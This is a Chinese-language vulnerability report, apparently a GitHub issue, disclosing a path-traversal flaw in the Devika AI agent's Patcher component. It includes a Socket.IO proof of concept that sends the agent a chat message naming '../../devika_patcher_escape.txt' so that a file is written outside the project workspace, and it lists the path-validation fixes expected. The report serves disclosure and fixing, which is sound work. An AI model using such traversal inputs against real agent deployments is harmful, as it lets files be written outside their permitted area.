[错误] Patcher 代理程序路径穿越漏洞
作者: Ro1ME创建于 2026年4月20日更新于 2026年4月20日
如何重现 重现行为的步骤(示例):
前提条件
- 启动 Devika 服务器:
cd devika
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
pip install -r requirements.txt
Python app.py- 访问 web UI,地址为
http://localhost:1337 - 通过 UI 创建一个新项目
重现行为的步骤
- 连接到 Socket.IO 端点:
import socketio
sio = socketio.Client()
sio.connect('http://localhost:1337')- 创建基准项目文件:
# 第一条消息:创建一个普通文件
sio.emit('user-message', {
'message': 'Fix bug: create bootstrap.py',
'project_name': 'cbdscan-bug-demo'
})
# 等待完成…- 触发 Patcher 代理,使用路径跨越攻击:
# 第二条消息:路径跨越攻击
sio.emit('user-message', {
'message': 'Fix bug in file ../../devika_patcher_escape.txt',
'project_name': 'cbdscan-bug-demo'
})- 验证文件是否逃逸到项目工作区:
# 检查文件是否存在于项目目录之外
ls data/devika_patcher_escape.txt
cat data/devika_patcher_escape.txt
# 输出:DEVIKA_PATCHER_LIVE_POC预期行为
- 写入前应对文件路径进行验证和正则化
- 包含
..的路径应被拒绝或消毒 - 所有文件操作应限于项目工作区
- 应拒绝绝对路径
内容来源: stitionai/devika